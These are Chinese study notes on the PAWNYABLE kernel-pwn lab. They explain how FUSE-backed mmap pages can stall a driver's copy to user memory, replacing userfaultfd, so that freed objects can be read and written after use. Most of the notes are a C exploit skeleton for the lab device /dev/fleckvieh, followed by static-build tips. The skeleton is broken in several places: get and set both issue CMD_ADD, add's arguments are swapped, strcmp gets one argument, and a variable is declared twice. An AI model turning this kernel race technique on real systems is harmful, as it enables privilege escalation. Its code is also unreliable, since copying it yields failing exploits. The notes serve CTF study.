PAWNYABLE kernel FUSE 笔记

userfaultfd 可以在驱动读写数据的时候,触发中断,切换到用户空间。此时可以将数据释放,释放的内存被其他结构体占有,然后就能进行 uaf_read 或者 uaf_write,。

自 Linux kernel 5.11 版本起,非特权用户被禁止使用 userfaultfd 系统调用,但是我们仍能通过 FUSE 达成同样的效果(在用户空间实现文件系统的机制,本身不是一个文件系统)。

fuse 的文件系统包括 CephFS、GlusterFS、ZFS、sshfs、mailfs。访问 FUSE 的文件系统,可以使用和内核文件系统相同的接口。

实现主要由三个部分组成

text

内核模块(fuse.ko) 这个内核模块不会处理实际的文件系统调用,而是将其进行封装为特定格式的fuse请求后发送给用户空间进程,等待用户空间进程处理完成并返回,接收处理返回结果转换为内核文件系统格式后再传递给 VFS。

用户空间库(libfuse.*) 

挂载工具(fusermount) 实现普通用户对文件系统挂载和卸载。

一次系统调用的过程需要频繁在 userspace 和 kernel 间交换…效率堪忧。

可以参考 FUSE - OSDev Wiki 这个介绍,需要实现一些 hook 来操作 FUSE。

什么时候使用 fuse_main

有两种操作,一种是 fuse_main 可以快速启动一个文件系统,自动调用事件循环,处理挂载、信号处理等。

c

int main(int argc, char *argv[]) {
    return fuse_main(argc, argv, &fops, NULL);
}

另一种是具体使用 fuse_mountfuse_newfuse_loop_mt 提供了更大的灵活性,允许更精细地控制文件系统的行为。这种方式适用于需要更多定制的情况,特别是当需要进行多线程处理或其他复杂的配置时。

c

int main(int argc, char *argv[]) {
    struct fuse_args args = FUSE_ARGS_INIT(argc, argv);
	    struct fuse_chan *chan;
    struct fuse *fuse;

    // 创建并挂载文件系统
    chan = fuse_mount("/tmp/test", &args);
    if (!chan)
        fatal("fuse_mount");

    // 创建 FUSE 会话
    fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL);
    if (!fuse)
        fatal("fuse_new");

    // 启动 FUSE 事件循环(多线程模式)
    fuse_loop_mt(fuse);

    // 卸载文件系统
    fuse_unmount("/tmp/test", chan);
    return 0;
}

可以参考 【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog 的介绍,很仔细哇。

简单说就是在内核模块读写数据的时候触发中断,此时把数据释放,就可以读写到新分配的其他数据结构的内容了。

不过 fuse 不能像 userfaultfd 一样,申请了 0x3000 的空间,每个页面第一次页面都可以触发中断,而是一旦访问一个页面,所有的 0x3000 都不会再次中断了。所以可以通过重复 open mmap 来解决这个问题。

基本的框架是这个样子,用 fuse_new 绑定上定义的 fuse callback,在新的线程里面初始化 fuse 加不会被 fuse_loop_mt 给阻塞。无论是读还是写页面都会到达 read_callback。

c

#define _GNU_SOURCE
#include <fuse.h>
#include <inttypes.h>
#include <sched.h>
#include <sys/mman.h>
#include <errno.h>

#define CMD_ADD 0xf1ec0001
#define CMD_DEL 0xf1ec0002
#define CMD_GET 0xf1ec0003
#define CMD_SET 0xf1ec0004
#define PAGE_SIZE 0x1000
#define BUF_SIZE 0x400

uint64_t user_cs, user_ss, user_rflags, user_sp;
cpu_set_t cpuset;
int setup_done = 0;
int fd;

typedef struct {
    int id;
    uint64_t size;
    char *data;
} request_t;

int add(uint64_t size, char *data) {
    request_t add_req = {.id = 0, .size = size, .data = data};
    return ioctl(fd, CMD_ADD, &add_req);
}

void del(int id) {
    request_t del_req = {.id = id};
    ioctl(fd, CMD_DEL, &del_req);
}

void get(int id, uint64_t size, char *data) {
    request_t get_req = {.id = id, .size = size, .data = data};
    return ioctl(fd, CMD_ADD, &get_req);
}

void set(int id, uint64_t size, char *data) {
    request_t set_req = {.id = id, .size = size, .data = data};
    return ioctl(fd, CMD_ADD, &set_req);
}


int fuse_fd = -1;

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

char *mmap_fuse_file() {
    // close old file
    if (fuse_fd != -1) {
        close(fuse_fd);
    }

    // mmap pages
    if ((fuse_fd = open("/tmp/fuse", O_RDWR)) == -1) {
        perror("open fuse file");
    }
    char *page =
        mmap(0, PAGE_SIZE * 5, PROT_READ | PROT_WRITE, MAP_PRIVATE, fuse_fd, 0);
    if (page == MAP_FAILED) {
        perror("mmap fuse file");
    }
    return page;
}

static int getattr_callback(const char *path, struct stat *stbuf) {
    memset(stbuf, 0, sizeof(struct stat));

    if (strcmp(path, "/pwn") == 0) {
        stbuf->st_mode = S_IFREG | 0777;
        stbuf->st_nlink = 1;
        stbuf->st_size = 0x1000;
        return 0;
    }

    return -ENOENT;
}

static int open_callback(const char *path, struct fuse_file_info *fi) {
    puts("[+] open_callback");
    return 0;
}

static int read_callback(const char *path, char *file_buf, size_t size,
                         off_t offset, struct fuse_file_info *fi) {
    static int fault_cnt = 0;
    printf("[+] read callback triggered");

    if (strcmp("/tmp/fuse") == 0) {
        switch (fault_cnt) {
        case 0:

            break;

        default:
            break;
        }
    }
}

static struct fuse_operations fops = {
    .getattr = getattr_callback,
    .open = open_callback,
    .read = read_callback,
};

void *setup_fuse(void *arg) {
    struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
    struct fuse_chan *chan; // short for communication channel
    struct fuse *fuse;

    mkdir("/tmp/test", 0777);
    chan = fuse_mount("/tmp/fuse", &args);
    fuse = fuse_new(chan, &args, &fops);

    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset))
        fatal("sched_setaffinity");

    fuse_set_signal_handlers(fuse_get_session(fuse));
    setup_done = 1;
    fuse_loop_mt(fuse);

    fuse_unmount("/tmp/test");
    return NULL;
}

int main() {

    save_status();

    // setup cpu affinity
    CPU_ZERO(&cpuset);
    CPU_SET(0, &cpuset);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpuset))
        fatal("sched_setaffinity");

    // setup fuse
    pthread_t th;
    pthread_create(&th, NULL, setup_fuse, NULL);
    while (!setup_done)
        ; // 确保 fuse 已经启动

    // open device
    fd = open("/dev/fleckvieh", O_RDWR);
    char *buf = mmalloc(BUF_SIZE);

    // uaf read
    char *page = mmap_fuse_file();
    int uaf_read_id = add(buf, 0x400);
    get(uaf_read_id, BUF_SIZE, page);

    // uaf write
    char *page = mmap_fuse_file();
    int uaf_write_id = add(buf, 0x400);
    set(uaf_read_id, BUF_SIZE, page);
}
为什么要用 pthread_create 来启动 fuse 函数

fuse_loop_mt 是一个阻塞操作,只有放在其他线程,才能做其他操作

为什么在 fuse 和 main 函数都要设置 sched_setaffinity

要让两个线程在同一个 cpu 上面运行,这样的话都属于同一个 cpu 资源才能按照顺序竞争?

uaf read 写入mmap页面为什么也是触发 read_callback

读取或写入该区域时会出现页面错误,最终会调用read 。

libfuse 的接口版本好像有点问题

libfuse 的 version 2 和 version 3 的版本不同可能,可以在一开始指定 fuse 的版本,比如

text

#define FUSE_USE_VERSION 29
FUSE operation not permitted

text

fusermount: mount failed: Operation not permitted

fuse_mount: Operation not permitted

text

可能是静态编译的时候出现问题了:
>常规的 libfuse 库并不支持静态编译,这使得我们无法像以往一样先静态编译一个 exp 再传到远程,
但万幸的是 libfuse 库是开源的**,安全研究员 BitsByWill 和 D3v17 将其进行了一些裁剪(裁剪掉了 dlopen 等,但还是很大…),做了一个可以供静态编译的 [libfuse3.a](https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/libfuse3.a) 及相关的头文件等(参见[这里](https://github.com/Crusaders-of-Rust/CVE-2022-0185))

所以,编译命令就变成了:

gcc exp.c -I ./libfuse libfuse3.a -o exp -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl

text

不过这个命令好像会导致 segmentation fault...还得找到匹配的 fuse version 2.9 的版本

用户空间文件系统(FUSE) LXCFS|奶爸熊大

【PWN.0x00】Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF - arttnba3’s blog